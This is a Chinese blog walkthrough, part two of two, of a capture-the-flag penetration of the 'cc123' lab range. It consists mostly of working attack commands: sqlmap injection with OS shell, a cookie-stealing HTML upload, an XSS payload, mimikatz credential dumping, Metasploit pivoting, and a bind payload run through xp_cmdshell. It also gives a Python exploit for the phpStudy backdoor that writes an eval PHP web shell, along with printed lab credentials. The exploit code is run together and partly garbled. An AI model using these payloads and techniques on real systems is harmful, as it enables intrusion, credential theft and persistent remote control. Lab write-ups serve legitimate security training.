零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——下
细节较多,篇幅较大,分为上/下两部分发布在两篇文章内
另一部分详见下面文章
零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——上
https://blog.csdn.net/weixin_62808713/article/details/143572185
八、第二层数据库服务器权限获取
猜到新闻资讯内存在注入漏洞。

抓包进行验证。

将数据包粘贴到kali内。
vim cc123_sql.txt

使用sqlmap尝试注入。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch

查看其数据库。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch --dbs


查看当前数据库及其用户。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch --current-db --current-user

获取到了当前站点使用的数据库后,获取其相关的详细信息。
查看数据库grcms_data的表信息。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 -D grcms_data --tables

看到名为admin的表,扫描其内信息,至此拿到了用户名及密码信息。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump

接下来查看其是否能执行shell,发现可以执行。
sqlmap -r cc123_sql.txt --dbms mssql -v 1 --os-shell

执行命令看是否有回显,发现成功扫描到两个ip地址。
ipconfig

根据上面扫描到的ip地址,可以判断该网站采用站库分离,即web程序和数据库不在同一个服务器内,可以提高安全性。
查看当前权限,发现是系统权限。
whoami

至此,拿到了数据库服务器的系统权限。
九、.net代码审计
打开蚁剑查看服务器的目录。
C:/HwsHostMaster/wwwroot

访问目录C:/HwsHostMaster/wwwroot
cd C:/HwsHostMaster/wwwroot
dir
可以看到这里存在三个网站。

切换到ww2.cc123.com后并查看。
cd ww2cc123_55m39g
dir

进入到web目录下并查看。
cd web
dir

可以看到其存在上述文件,但是并没有看到html后缀的文件,发现站点是做了伪静态。
进入到bin目录下并查看文件。
cd bin
ls

切换到bin目录的上一级下载bin目录。
cd..
download bin

将下载的文件全部复制到本地。
首先将下载的文件移动到kali的桌面上。
mv bin /home/kali/Desktop

将其复制到本地。

这里即为网站的源代码。

接下来使用ILSpy工具逆向DLL文件进行分析。

查看admin目录下的文件。

查看login.aspx文件,可以看到App_Web_login.aspx。
cat login.aspx

回到本地内找一下App_Web_login.aspx,将其拖拽到工具内。

可以看到下面验证登录的代码。
审计这部分代码,发现其验证码错误后会进行返回,如果验证码正确的话会继续向下执行,但是这里验证码并没有被注销,这就导致验证码重用的漏洞,存在密码爆破的风险。

继续审计,发现下图所示的部分的代码导致其存在注入风险。

查看之前的数据包,发现有个newsadd.aspx。

回到本地内找到后将其拖拽到工具内。

可以看到下图位置也存在sql注入。

经过具体的分析后,发现任意的后台文件都存在sql注入。
进入到网页的后台内,查看其编辑器,发现其使用的是KindEditor。

这个编辑器存在漏洞,可以进行文件上传,包括html文件和txt文件等。
使用burp抓包上传html文件获取cookie。
下面代码可以获取cookie。

回到网页内将上面的html文件上传并抓包。

选择html文件。

抓取到下图所示数据包。

将数据包发送到repeater。

将下图所示位置修改成file。

放包后发现上传成功。

访问html文件,成功获取到了cookie。
ww2.cc123.com/editor/asp.net/../attached/file/20240903/20240903162048_4230.html

下面来审计文件上传漏洞。
使用编辑器上传一个文件并抓包,发现其地址内有一个newsadd.aspx。

回到本机机内找到这个文件并审计。

Ctrl+F查找upload,找到上传部分的代码。
发现其对上传的文件的后缀名进行了白名单验证,这里并不存在漏洞。

接下来返回到后台页面内,进行xss漏洞挖掘。
回到kali内查看web文件夹内的前台文件。
dir

查看文件mystat.aspx。
cat mystat.aspx
发现其存在XSS漏洞。

访问mystat.aspx文件。

点击查看页面源代码。

源代码如下,测试可以看到其style字段可控。

根据源代码,写入XSS语句。执行后成功看到了弹窗。
http://ww2.cc123.com/mystat.aspx?style=</script><script>alert(/xss/);</script><script>

至此,通过代码审计,后台页面内XSS漏洞挖掘完成。
十、编写DESC解密工具
查看web.Config文件。
cat web.Config
可以看到其数据库连接信息。

复制后回到之前上传的ASPXSpy2014.aspx内。
http://new.cc123.com/a/ASPXSpy2014.aspx

点击DataBase,将前面复制的数据库信息输入。
server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..
下图所示成功连接。

点击下面展示出来的TABLE_NAME,就可以把对应的sql语句显示在上面。

点击Query即可得到表内的信息。

这里就可以拿到用户名密码信息。
- admin AE5F6187F32825CA
- cc123 B97C57DB005F954242450A255217DA9F
尝试进行md5解密,发现均不成功。
再次利用ILSpy工具逆向分析其加密代码。
点击重新加载。

将后台登录文件拖入到工具内。

可以看到在密码部分的sql语句后面有一个字符串处理,包含一个key值。

点击进入Encrypt即为其加密方法。

其解密方法在加密方法的上方。

拿到上面的信息就可以编写解密工具了。
使用VS新建windows窗体应用程序项目。

在工具箱内选择添加组件,将其拖拽到下面。

给组件一个名字。
名字:DESC解密工具

接下来添加三个文本框,选择后将其拖拽到下面。

添加button组件。

将其命名为解密。

添加label标签。

分别命名。

调整细节。

添加名称。
名称:ranzi

双击“解密”进入编写解密代码。
复制刚刚的解密函数稍作更改后即可。
利用编写的解密工具解密得到用户名和对应的密码为:
- admin cc123
- cc123 qweasd123
十一、内网渗透
获取Web服务器路由信息,成功获取到了路由信息如下。
run get_local_subnets

接下来准备获取哈希值及明文密码。
首先做一下进程迁移,防止出错。
执行help命令查找终端。
help

执行ps命令找到vmtoolsd.exe进程,记住其进程号。

执行迁移命令。
migrate 1488
如下图所示即为迁移完成。

然后退出一下,然后进入一个新的会话。
background
sessions -i 2

加载Kiwi插件。
load kiwi

请求Kiwi获取调试权限,然后从系统的安全账户管理器(SAM)数据库中提取用户账户信息,包括用户名和哈希密码。
kiwi_cmd privilege::debug
kiwi_cmd "lsadump::sam"

提取当前登录用户的密码信息,包括明文密码和哈希值。
kiwi_cmd "sekurlsa::logonPasswords"

成功获取到了超级管理员的账号和密码明文。

整理前面获取到的信息,准备进行内网渗透:
- 192.168.10.134
- 10.10.10.128
- Local subnet: 10.10.10.0/255.255.255.0
- Local subnet: 192.168.10.0/255.255.255.0
- Administrator !@#Qwe123.
根据前面获取到的信息开始进行多重网段的内网渗透。
首先给web服务器进行添加路由。
run autoroute -s 10.10.10.0/24

验证是否成功添加。
run autoroute -p

退出一下准备启用代理模块。
background

调用模块并查看其需要的配置。
use auxiliary/server/socks_proxy
show options

修改配置信息。
set srvport 2222

开始执行。
run

验证前面操作是否成功。
首先修改配置文件。
vim /etc/proxychains4.conf

之后就可以进行内网扫描了。
proxychains nmap -sT -Pn 10.10.10.136

利用前面获取到的数据库的权限,获取数据库服务器网卡信息。
ipconfig
可以看到存在一个10.10.1.128的ip。

之后,要生成一个正向攻击载荷。
msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe >bind.exe

将生成的攻击载荷移动到桌面。
mv bind.exe /home/kali/Desktop

访问之前上传的ASPXSpy2014.aspx。
http://new.cc123.com/a/ASPXSpy2014.aspx

选择SA_Upfile将刚刚生成的攻击载荷上传。

选择前面移动到桌面的攻击载荷。

添加上传路径后点击上传。
c:/bind.exe

上传成功后选择XP_cmdshell exec进行执行。
修改执行语句后点击Query。
Exec master.dbo.xp_cmdshell 'c:/bind.exe'

接下来准备开始监听。
选择模块。
use exploit/multi/handler

设置payload。
set payload windows/meterpreter/bind_tcp

配置监听地址。
set rhost 10.10.10.136

配置监听端口。
set lport 13777

开始监听。
run
成功连接。

查看当前权限。
getuid
可以看到已经是系统权限。

十二、获取数据库服务器哈希和明文
查看服务器网卡信息。
ipconfig
可以看到两个ip信息:
- 10.10.1.128
- 10.10.10.136

首先做一下进程的迁移。
首先查看进程。
ps

执行迁移命令。
migrate 1548

然后退出一下,进入一个新的会话。
background
sessions -i 2

加载Kiwi插件。
load kiwi

请求Kiwi获取调试权限,然后从系统的安全账户管理器(SAM)数据库中提取用户账户信息,包括用户名和哈希密码。
kiwi_cmd privilege::debug
kiwi_cmd "lsadump::sam"


提取当前登录用户的密码信息,包括明文密码和哈希值。
kiwi_cmd "sekurlsa::logonPasswords"

下图成功获取到了超级管理员的账号和密码明文。

进入到shell内。
shell

查看数据库主机名。
hostname

看完之后crtl+z退出。

查看数据库服务器的路由。
run get_local_subnets
可以看到路由信息如下:
- Local subnet: 10.10.1.0/255.255.255.0
- Local subnet: 10.10.10.0/255.255.255.0

配置添加路由。
run autoroute -s 10.10.1.0/24

验证。
run autoroute -p

扫描10.10.1.129。
proxychains nmap -sT -Pn 10.10.1.129

可以看到其开放80端口,尝试使用代理进行访问,访问后可以看到其是phpstudy的页面。
proxychains3 firefox http://10.10.1.129

根据前面获取到的信息,确认其版本为5.4.45。
phpstudy的2016、2014、2018的php-5.2.17、php-5.4.45版本均存在后门。
十三、利用python编写phpstudy后门利用工具
确认漏洞的存在后,接下来进行编写后门利用工具。
创建phpstudy.py文件。
vim phpstudy.py

代码编写如下。
#conding:utf-8
import requests
import sys
import base64shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}def exploit(url):html = requests.get(url=url,headers=header).textreturn htmlurl = "http://10.10.1.129/"
print(exploit(url))"echo ^<?php @eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"

执行上述py文件,向服务器写一个一句话木马。
proxychains3 python3 phpstudy.py "echo ^<?php@eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"

访问写入的shell.php文件,发现成功上传了。

十四、SocksCap代理访问目标WEB服务器
为了更方便访问,使用SocksCap代理访问第三层服务器。
双击安装SocksCap代理工具。

点击下一步。

点击我接受。

选择位置后点击安装。

点击完成结束安装。

双击启动。

复制kali的ip。
192.168.10.132

回到SocksCap代理工具内,点击新增代理。

点击编辑其ip,将kali的ip填入。

端口更改为2222。

代理类型更改为sock4。

此时点击保存即可。

保存完成后可以点击进行测试。

测试正常后就可以代理一些应用程序了,这里代理中国菜刀。
找到中国菜刀的exe程序。

将其拖拽到代理工具内。

选中程序右键点击后选择在代理隧道中运行选中程序。

在弹出的页面内右键后点击添加。

将前面上传到服务器上的shell添加上去,然后填入密码,设置为UTF-8,最后点击添加。

添加完成后双击即可进行访问。

退出后右键即可进入虚拟终端。

进入终端后执行whoami命令。
whoami
可以看到已经是系统权限。

十五、metasploit正向连接目标WEB服务器
将之前在kali内生成的bind.exe上传到服务器内。

通过终端执行刚刚上传的exe。
c:\bind.exe

退出一下。
background

查看当前配置信息。
show options

修改配置信息。
set RHOST 10.10.1.129

执行后查看其权限,发现是系统权限。
run
getuid

执行线程迁移操作。
migrate 1340

进入shell后即可查看当前所在网段有无其它主机。
shell
arp-a

至此拿到了第三层服务器的系统权限。
十六、Flag获取
1.第一个flag
首先进入到wwwroot目录下。
cd C:/HwsHostMaster/wwwroot/

查看目录下内容,并进入ww2cc123_55m39g目录。
dir
cd ww2cc123_55m39g

进入到web目录下并查看。
cd web
dir

进入到upimg目录下然后查看目录内容。
cd upimg
dir

在此可以看到一个flag文件,查看后即可得到第一个flag。
cat flag.txt

2.第二个flag
进入到c盘根目录下并查看。
cd c:/users
dir

看到Administrator文件夹,进入并查看。
cd Administrator
dir

在此可以看到一个flag文件,查看后即可得到第二个flag。
cat flag2.txt

3.第三个flag
连接到数据库服务器。

进入c盘并查看文件。
cd c:/users
dir

看到Administrator文件夹,进入并查看。
cd Administrator
dir

在此可以看到一个名为root.txt.txt文件,查看后即可得到第三个flag。
cat root.txt.txt

4.第四个flag
连接到第三城的服务器后进入c盘。
cd :\\users
dir

看到Administrator文件夹,进入并查看。
cd Administrator
dir

在此可以看到一个名为root.txt.txt文件,查看后即可得到第四个flag。
cat root.txt

至此,获取到了全部的flag。
